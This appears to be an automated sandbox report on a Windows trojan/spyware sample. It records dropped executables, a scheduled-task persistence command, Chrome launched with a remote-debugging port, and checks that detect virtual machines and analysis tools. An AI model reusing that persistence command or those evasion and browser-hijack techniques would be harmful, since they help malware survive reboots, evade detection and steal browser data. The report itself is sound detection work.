Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1BDBEE	8_2_6C1BDBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B140E	8_2_6C1B140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1C1510	8_2_6C1C1510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1BF610	8_2_6C1BF610
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C19F760	8_2_6C19F760
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C173000	8_2_6C173000
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1870C0	8_2_6C1870C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C2350D0	8_2_6C2350D0

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C243B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C23ADB0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C2436E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C243820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C245A70 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C245980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C243560 appears 42 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1844

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: file.exe

Static PE information: Section: bhovsmhv ZLIB complexity 0.994171853085554

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/7@17/5

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\zPZohgDsFq

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7704:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4144
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Mutant created: \Sessions\1\BaseNamedObjects\JhbVyuybpwXYHXyDefqs

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: chrome.exe, 00000004.00000002.2123301766.00007BE00073C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));

Source: file.exe

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2340,i,1016166225095006826,12192068235695981454,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1844
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2340,i,1016166225095006826,12192068235695981454,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rncminwlhbrejcomyvjl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rncminwlhbrejcomyvjl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rncminwlhbrejcomyvjl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rncminwlhbrejcomyvjl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rncminwlhbrejcomyvjl.dll	Jump to behavior

Source: file.exe

Static file information: File size 4479488 > 1048576

Source: file.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x284400
Source: file.exe	Static PE information: Raw size of bhovsmhv is bigger than: 0x100000 < 0x1bda00

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 8_2_00058230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

8_2_00058230

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x44e41e should be: 0x448d29

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: bhovsmhv
Source: file.exe	Static PE information: section name: wzjavlmc
Source: file.exe	Static PE information: section name: .taggant
Source: service123.exe.0.dr	Static PE information: section name: .eh_fram
Source: rnCMinwLHbrEjcomyVjl.dll.0.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_0005A499 push es; iretd	8_2_0005A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C220C30 push eax; mov dword ptr [esp], edi	8_2_6C220DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1EED10 push eax; mov dword ptr [esp], ebx	8_2_6C1EEE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1C4E31 push eax; mov dword ptr [esp], ebx	8_2_6C1C4E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B8E7A push edx; mov dword ptr [esp], ebx	8_2_6C1B8E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1BA947 push eax; mov dword ptr [esp], ebx	8_2_6C1BA95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1EEAB0 push eax; mov dword ptr [esp], ebx	8_2_6C1EEBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1C2AAC push edx; mov dword ptr [esp], ebx	8_2_6C1C2AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1D8AA0 push eax; mov dword ptr [esp], ebx	8_2_6C1D909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1C0AA2 push eax; mov dword ptr [esp], ebx	8_2_6C1C0AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1F2BF0 push eax; mov dword ptr [esp], ebx	8_2_6C1F2F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1F2BF0 push edx; mov dword ptr [esp], ebx	8_2_6C1F2F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B8435 push edx; mov dword ptr [esp], ebx	8_2_6C1B8449
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1D8460 push eax; mov dword ptr [esp], ebx	8_2_6C1D8A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B048B push eax; mov dword ptr [esp], ebx	8_2_6C1B04A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B04E0 push eax; mov dword ptr [esp], ebx	8_2_6C1B06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C191CFA push eax; mov dword ptr [esp], ebx	8_2_6C246622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C191CFA push eax; mov dword ptr [esp], ebx	8_2_6C246622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1BA5A7 push eax; mov dword ptr [esp], ebx	8_2_6C1BA5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1F2620 push eax; mov dword ptr [esp], ebx	8_2_6C1F2954
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1F2620 push edx; mov dword ptr [esp], ebx	8_2_6C1F2973
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C2006B0 push eax; mov dword ptr [esp], ebx	8_2_6C200A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B06A2 push eax; mov dword ptr [esp], ebx	8_2_6C1B06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B06A6 push eax; mov dword ptr [esp], ebx	8_2_6C1B06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1C86A1 push 890005EAh; ret	8_2_6C1C86A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B06FD push eax; mov dword ptr [esp], ebx	8_2_6C1B06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B66F3 push edx; mov dword ptr [esp], ebx	8_2_6C1B6707
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1B070E push eax; mov dword ptr [esp], ebx	8_2_6C1B06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1BA777 push eax; mov dword ptr [esp], ebx	8_2_6C1BA78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C1C0042 push eax; mov dword ptr [esp], ebx	8_2_6C1C0056
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_6C18E0D0 push eax; mov dword ptr [esp], ebx	8_2_6C246AF6

Source: file.exe

Static PE information: section name: bhovsmhv entropy: 7.954372038177193

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\rnCMinwLHbrEjcomyVjl.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_8-158240

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Stalling execution: Execution stalls by calling Sleep

graph_8-158241

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 161D4D3 second address: 161CD42 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F3650C99D9Fh 0x0000000e push dword ptr [ebp+122D0A59h] 0x00000014 pushad 0x00000015 mov dword ptr [ebp+122D1DECh], edx 0x0000001b popad 0x0000001c call dword ptr [ebp+122D1C85h] 0x00000022 pushad 0x00000023 cmc 0x00000024 xor eax, eax 0x00000026 jmp 00007F3650C99DA0h 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f jmp 00007F3650C99DA9h 0x00000034 pushad 0x00000035 sub dword ptr [ebp+122D213Dh], ebx 0x0000003b mov dword ptr [ebp+122D213Dh], eax 0x00000041 popad 0x00000042 mov dword ptr [ebp+122D2DD5h], eax 0x00000048 pushad 0x00000049 mov dword ptr [ebp+122D2064h], eax 0x0000004f jmp 00007F3650C99DA4h 0x00000054 popad 0x00000055 mov esi, 0000003Ch 0x0000005a jmp 00007F3650C99D9Dh 0x0000005f jmp 00007F3650C99DA3h 0x00000064 add esi, dword ptr [esp+24h] 0x00000068 mov dword ptr [ebp+122D2064h], ecx 0x0000006e lodsw 0x00000070 or dword ptr [ebp+122D213Dh], ecx 0x00000076 add eax, dword ptr [esp+24h] 0x0000007a mov dword ptr [ebp+122D20B4h], esi 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 mov dword ptr [ebp+122D1937h], edi 0x0000008a jne 00007F3650C99DADh 0x00000090 nop 0x00000091 push eax 0x00000092 push edx 0x00000093 js 00007F3650C99D98h 0x00000099 pushad 0x0000009a popad 0x0000009b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1780CE5 second address: 1780D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3650BE6D83h 0x00000009 pop esi 0x0000000a jmp 00007F3650BE6D82h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jg 00007F3650BE6D76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1780D19 second address: 1780D1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
